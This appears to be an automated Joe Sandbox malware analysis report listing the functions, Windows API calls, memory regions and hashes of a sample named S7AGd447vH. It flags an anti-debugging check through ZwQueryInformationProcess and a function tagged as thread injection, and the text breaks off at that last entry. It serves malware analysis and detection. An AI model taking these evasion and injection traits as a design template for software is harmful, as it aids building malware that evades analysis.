Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 99ea51cc2d78c3489aa5ba24630fdde467a1d418e431930fb195c39f02273379
Instruction ID: f11b4dce29de50892480c20cbddc22f8b8c2a836f0274655df0ab0b529399c2f
Opcode Fuzzy Hash: 99ea51cc2d78c3489aa5ba24630fdde467a1d418e431930fb195c39f02273379
Instruction Fuzzy Hash: 0271E470E002089BEF14DBA8DE85BDEBB76EF45304F60412ED414772C2DB799989CB95

Function 00419712 Relevance: 4.7, APIs: 3, Instructions: 177
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00418EA7: GetConsoleCP.KERNEL32(?,00403FD0,00000000), ref: 00418EEF

WriteFile.KERNELBASE(?,00000000,0042F8A8,00000000,00000000,00000000,00403FD0,00403FD0,00403FD0,00000000,?,?,00412F15,?,0042F8A8,00000010), ref: 00419863
GetLastError.KERNEL32(?,00412F15,?,0042F8A8,00000010,00403FD0), ref: 0041986D
__dosmaperr.LIBCMT ref: 004198B2

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastWrite__dosmaperr
String ID:
API String ID: 251514795-0
Opcode ID: db2785baaafd5d33740c238dac4a58e1619d81f25d33ef0c512f06196b3c93d2
Instruction ID: 9cc85a0dd55b67ab028b7af81f9f607912d675398f38ecd83fa53986d5a6a907
Opcode Fuzzy Hash: db2785baaafd5d33740c238dac4a58e1619d81f25d33ef0c512f06196b3c93d2
Instruction Fuzzy Hash: AE51D571A1010AABDB11AFA5C8A1BEFBBB8EF05314F140017E410B7291D678DDC2C7A9

Function 004171A4 Relevance: 4.6, APIs: 3, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE(00000000,00000000,00403FD0,?,004170D2,00403FD0,0042F9C8,0000000C,00417184,0042F8A8), ref: 004171FA
GetLastError.KERNEL32(?,004170D2,00403FD0,0042F9C8,0000000C,00417184,0042F8A8), ref: 00417204
__dosmaperr.LIBCMT ref: 0041722F

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: 6908ff5dfa70710e0662e61caffb0e064024c66fbde91bcd673d87ef52ad0c2e
Instruction ID: 7ce24aeb3b457cde2064b006eaf7bf4ecb246a55085963687a4729e3d68955cc
Opcode Fuzzy Hash: 6908ff5dfa70710e0662e61caffb0e064024c66fbde91bcd673d87ef52ad0c2e
Instruction Fuzzy Hash: B80108336181246AC2212335AD457FF77695B96738F2A025FF819873C2DE7C8CC6459E

Function 0041E5B9 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041E61C

Strings

nA, xrefs: 0041E5BB

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: _free
String ID: nA
API String ID: 269201875-513057715
Opcode ID: 9ba8c6d62c837557b7d10db139ff9f6489b14aed1980b721ae02a396919f42ec
Instruction ID: d663fc80b272b8a057757731ab1e26b7e4720bcc169cf5bf07760d1f3ec010b9
Opcode Fuzzy Hash: 9ba8c6d62c837557b7d10db139ff9f6489b14aed1980b721ae02a396919f42ec
Instruction Fuzzy Hash: D7014F72C00159BFCF01AFA9CC01AEE7FB5AF08314F54416AFD18E2191E6758AA1DB95

Function 00405535 Relevance: 3.3, APIs: 2, Instructions: 291COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0040553E

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a3fd7b2dd5843c2e78c4fbfdf0bf11fda5219a20445fec9a564139c64b9d6f8e
Instruction ID: aafc41d1c8b996d28da95565e1ec9f3f14bbbc7b55c026b0efb249c1e06f731c
Opcode Fuzzy Hash: a3fd7b2dd5843c2e78c4fbfdf0bf11fda5219a20445fec9a564139c64b9d6f8e
Instruction Fuzzy Hash: 89915871A101046BEB08EB39DD85BDE7A66DF81304F50412EF405A72C6D77DDAE08B9D

Function 00405662 Relevance: 3.3, APIs: 2, Instructions: 280COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405665

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 314731c18a2b21c623c6fbaed99f498d9c70d8af3019a023a714a8704af5fd36
Instruction ID: 7989f3048b54084f9e1941b3ff00e520752aeddce9e7fdf88fea470578a0bae1
Opcode Fuzzy Hash: 314731c18a2b21c623c6fbaed99f498d9c70d8af3019a023a714a8704af5fd36
Instruction Fuzzy Hash: 68814671A101045BEB08EB39DE85BDE7A65EF82304F50813EF405A72C6D77DDAD08B99

Function 004059D7 Relevance: 3.3, APIs: 2, Instructions: 277COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004059DA

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1d07c9148bdefb32ef61e4f954d7e6172c15407d86d33c5d62cec66a09a1155f
Instruction ID: c30596db28ba8802e0a08b4faeb92150c568ec13e721374dade42458eae75ae5
Opcode Fuzzy Hash: 1d07c9148bdefb32ef61e4f954d7e6172c15407d86d33c5d62cec66a09a1155f
Instruction Fuzzy Hash: BF816871A101046BEB08EB39EE85BDE7A65EF81304F50413EF405A72C6D77DDAD08B99

Function 00405AFE Relevance: 3.3, APIs: 2, Instructions: 276COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405B01

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9cbf0d877ce6f02605d611c5c7a93f8b3ff92a9ad9e68ae296fb3071702b56cf
Instruction ID: b1b8c6065ba3e6a4b4c8c0348a68f2175546529b156428543fdc97b58eddcd1f
Opcode Fuzzy Hash: 9cbf0d877ce6f02605d611c5c7a93f8b3ff92a9ad9e68ae296fb3071702b56cf
Instruction Fuzzy Hash: 32815771A101045BEB18EB38DE85BDE7A65EF82304F50813EF405A72C6D77DEAD08B99

Function 00405C25 Relevance: 3.3, APIs: 2, Instructions: 275COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405C28

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 87d2a4fea2b676298243134584ae01a2ec9680c213aed66c3269f2ffa0a003bd
Instruction ID: 43a5af01782612872d48bbb9aab573b890c583c9219427ce0380f37141500e05
Opcode Fuzzy Hash: 87d2a4fea2b676298243134584ae01a2ec9680c213aed66c3269f2ffa0a003bd
Instruction Fuzzy Hash: A3814671A102045BEB08EB39DE85BDE7A65DF81308F50813EF406A72C6D77DDAD08B99

Function 00405D4C Relevance: 3.3, APIs: 2, Instructions: 274COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405D4F

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 38512c1058b596419008fed6d9ab916b03fddf309e87c6d97262f48667d19aee
Instruction ID: 907539a6c3e0ced6ea4cc5e24de2ec7c52cab323c5d8f2b5e3eaf8b8c7df7a27
Opcode Fuzzy Hash: 38512c1058b596419008fed6d9ab916b03fddf309e87c6d97262f48667d19aee
Instruction Fuzzy Hash: BF814671A101045BEB18EB38DE89BDE7A65EF82304F10812EF405A72C6D77DDAD08B99

Function 004085B3 Relevance: 3.1, APIs: 2, Instructions: 126COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000), ref: 004085C5
GetFileAttributesA.KERNELBASE(?), ref: 004085D7

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: 9a994abf38645f42e0d43bfd910a2925de3668c0b74e43fbcc275a66fa5ddb03
Instruction ID: 8079733bcbe2950e5d0f636f5b355f17e958773a08b757d5bd9d82054ba5e247
Opcode Fuzzy Hash: 9a994abf38645f42e0d43bfd910a2925de3668c0b74e43fbcc275a66fa5ddb03
Instruction Fuzzy Hash: 0B412572E001085BDF08FB68DEC669DB736AF45314FA40A3EE840B33C2DB3999854799

Function 00405F60 Relevance: 2.0, APIs: 1, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_taskPathTempVersion
String ID:
API String ID: 623340063-0
Opcode ID: 33e4a35236e1019fdbe2a18c1df4e65fb34ccd8a2abdb92abaa337cfa6ee71f8
Instruction ID: fb792c8c106df02e49b6a6427362400e361c90b7f7c71ceccf4e4972fba4ae9e
Opcode Fuzzy Hash: 33e4a35236e1019fdbe2a18c1df4e65fb34ccd8a2abdb92abaa337cfa6ee71f8
Instruction Fuzzy Hash: 56F148B1A101005BEB08EB78DD86BDE7A25AF81308F50413EF406A72D7D77DDAE48799

Function 00416EAF Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00416EE9

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 70db65dbdf0e7b6649e90cedc689232849f3fbc141ef11dc2f9634a943c778e5
Instruction ID: eaa4e90745c801541314f701e2792930993230061a6c6cff315485bb73a7e69e
Opcode Fuzzy Hash: 70db65dbdf0e7b6649e90cedc689232849f3fbc141ef11dc2f9634a943c778e5
Instruction Fuzzy Hash: 95115775A0420AAFCF05DF58E9419CB7BF9EF48304F11406AF809EB311D670EA21CBA8

Function 004185E4 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041B7DF: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00417AE4,00000001,00000364,00000006,000000FF,?,?,00413C5C,00417077,?,?,0041614E), ref: 0041B820

_free.LIBCMT ref: 00418653

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 8bedc48bd71ed51189256198d5362878c3b97d26ee5e3fae265640fe63e848fe
Instruction ID: 53b5a2407131a4f3f998bdefa401e25b78b36e766fac4dc8f21d8098b97500a7
Opcode Fuzzy Hash: 8bedc48bd71ed51189256198d5362878c3b97d26ee5e3fae265640fe63e848fe
Instruction Fuzzy Hash: FF0145726043566BC3219F69C8859DAFBA8EB053B4F10062FF545A77C0E774AC51CBA8

Function 00412E4B Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed07c4456f0bc9c0b3aa6dbf4e0a966a1ed5cf35924caf7cbfb78db0de341fb0
Instruction ID: 29a9b64e9fe2a6f5a867e1a8674db376be1aef73bba835d477039a98118aac13
Opcode Fuzzy Hash: ed07c4456f0bc9c0b3aa6dbf4e0a966a1ed5cf35924caf7cbfb78db0de341fb0
Instruction Fuzzy Hash: 9EF0F4329057105AC6213A3BAC05BDB32A88F42338F11071BF824D22C1DBBCE8D2869E

Function 7FE42018 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 7FE42233: GetModuleHandleA.KERNEL32(ntdll.dll,ZwQueryInformationProcess,?,?,?,?,7FE42071), ref: 7FE42251
Part of subcall function 7FE42233: GetProcAddress.KERNEL32(00000000), ref: 7FE4225A
Part of subcall function 7FE42233: GetCurrentProcess.KERNEL32(00000022,00000000,00000004,?,?,?,?,7FE42071), ref: 7FE4226F
Part of subcall function 7FE42233: NtQueryInformationProcess.NTDLL(00000000,?,?,?,7FE42071), ref: 7FE42276
Part of subcall function 7FE42233: GetModuleHandleA.KERNEL32(ntdll,ZwQueryInformationProcess,?,?,?,7FE42071), ref: 7FE42291
Part of subcall function 7FE42233: GetProcAddress.KERNEL32(00000000), ref: 7FE42294

SetErrorMode.KERNELBASE(?,?,?,00000000,?), ref: 7FE42078

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: AddressHandleModuleProcProcess$CurrentErrorInformationModeQuery
String ID:
API String ID: 3103590671-0
Opcode ID: 5e32ed6d6fe555b6a0ca2ad3d36415bc12e317760d8114bbfe3a1a2abba58309
Instruction ID: c81483a2e740596f7359404f4a145b5a53b95d5c3c8a9364d5f7ea15b65275e3
Opcode Fuzzy Hash: 5e32ed6d6fe555b6a0ca2ad3d36415bc12e317760d8114bbfe3a1a2abba58309
Instruction Fuzzy Hash: 42F0C2B29003017AEB116BA1AD01FBF36BEDF51744F11210CFE0295040F7E8E111CA22

Function 0041B7DF Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00417AE4,00000001,00000364,00000006,000000FF,?,?,00413C5C,00417077,?,?,0041614E), ref: 0041B820

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3e255fc0c61a838c6248b164076c627f9f8ac44f5eb74780f5bccbb7f5568d30
Instruction ID: 63742792a04592da04a0f61fa0625bf1067a032f83004f4c8284b36c4b684cb6
Opcode Fuzzy Hash: 3e255fc0c61a838c6248b164076c627f9f8ac44f5eb74780f5bccbb7f5568d30
Instruction Fuzzy Hash: 40F0BB31241525A79B213A629C45BEB378DEB41B70B158027E814A6290CB68DC81C5EC

Function 0041FA33 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 0041753A: RtlAllocateHeap.NTDLL(00000000,?,?,?,0041C3F2,00000220,?,?,?,?,?,?,00413CC2,?), ref: 0041756C

_free.LIBCMT ref: 0041FA53

Part of subcall function 00417051: HeapFree.KERNEL32(00000000,00000000,?,0041614E), ref: 00417067
Part of subcall function 00417051: GetLastError.KERNEL32(?,?,0041614E), ref: 00417079

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: f0088f2356c7c2dfa5eb86961ee69325601539cb14246dafc8db1efcd535e9d4
Instruction ID: 7224dc6e1a8b220128579fe07a1e8b1fac0a3f6578c659307eb384b7b0729a11
Opcode Fuzzy Hash: f0088f2356c7c2dfa5eb86961ee69325601539cb14246dafc8db1efcd535e9d4
Instruction Fuzzy Hash: 5EF096721057009FD3249F45D501B92F7FCEF54762F10843FE29A875A0D7B8B4858B98

Function 0041753A Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0041C3F2,00000220,?,?,?,?,?,?,00413CC2,?), ref: 0041756C

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b5ba08d3e027dcbf64db296a7d3a1cb9e23d29b066505b61b45adc95c2aa7c22
Instruction ID: 3430d67687a4292bbece99345fb55198fe0e6129ef6bb9f5833ae2496ee6f2ce
Opcode Fuzzy Hash: b5ba08d3e027dcbf64db296a7d3a1cb9e23d29b066505b61b45adc95c2aa7c22
Instruction Fuzzy Hash: 1FE0E531A88121BBDB2027768C45BDB3A6E9B413B1F150127BC15A2AC0DB7CDCC181ED

Function 0041E300 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,0041E6F0,?,?,00000000,?,0041E6F0,00000000,0000000C), ref: 0041E31D

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f37e5a37cdcaa46bd2bbbe7e3a9687f02ff2bfbfb3955d980ab61bdfe8a43f07
Instruction ID: 734668a00370914631b4c4fe8fbe1f0e973289ac58342a9305f2a6e88b31aa5d
Opcode Fuzzy Hash: f37e5a37cdcaa46bd2bbbe7e3a9687f02ff2bfbfb3955d980ab61bdfe8a43f07
Instruction Fuzzy Hash: 92D06C3210010DBFEF128F84DC06EDA3BAAFB48714F018110BA1856060C732E832EB94

Function 7FE420EC Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 7FE420F4

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e58fb04bf8307ef9e59311ad68e6793ee857856729bfdc2c679c958526c6e4bd
Instruction ID: bbe97fb0fdf796f7d02d65c7dead2db828113409e6ff866594b2fea672e426be
Opcode Fuzzy Hash: e58fb04bf8307ef9e59311ad68e6793ee857856729bfdc2c679c958526c6e4bd
Instruction Fuzzy Hash: 71A00134108202AFCE029B14C84884ABFA1AF89391F048898B48987230C73198919A02

Function 7FE433B8 Relevance: 1.5, APIs: 1, Instructions: 3libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 7FE433BC

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: cdfcc11e70e0831f7f02528ebe527d00d7d7741163f98bb48def171ba165424e
Instruction ID: 3afe84d9f853e1a58d27be4bc39f2d296b439f338d3e94088f2da92acf5e3481
Opcode Fuzzy Hash: cdfcc11e70e0831f7f02528ebe527d00d7d7741163f98bb48def171ba165424e
Instruction Fuzzy Hash: B390023950D101DBCE065B51D90C5197F67AB81351B148458B44540130C7314476DB12

Function 00910011 Relevance: 1.3, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,?,00910011,00910005), ref: 0091003E

Memory Dump Source

Source File: 00000000.00000002.1708854930.0000000000910000.00000040.00001000.00020000.00000000.sdmp, Offset: 00910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_S7AGd447vH.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 40190bf7e8cdf14306e3f29afdb8aada469a28eae5e895cba225020993eae487
Instruction ID: 8d354a0e2ce86e65f3ecf62e700a0afcbab37c73c730bb7fd2c4e0288c8b492d
Opcode Fuzzy Hash: 40190bf7e8cdf14306e3f29afdb8aada469a28eae5e895cba225020993eae487
Instruction Fuzzy Hash: 54E0B630340B06ABEA309A75DC49FD7B7ECAF48B50F108819B5DAE7190CAA0F881CB14

Function 7FE4256C Relevance: 1.3, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 7FE42577

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2fd9a7ee28f7a9333433644eb5513e4b942047d29e54c439f2e627505d0e5c23
Instruction ID: f565952d912d69a959799ff31dc89a885d8eb9134e4b96f74b8ad5ccf2072eb3
Opcode Fuzzy Hash: 2fd9a7ee28f7a9333433644eb5513e4b942047d29e54c439f2e627505d0e5c23
Instruction Fuzzy Hash: 18B09235009300EBCA014E90D6083A9BBA6EB80616F20841CB057100A087344824EA02

Non-executed Functions

Function 004023F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 155injectionthreadmemoryCOMMON

Download Yara Rule

APIs

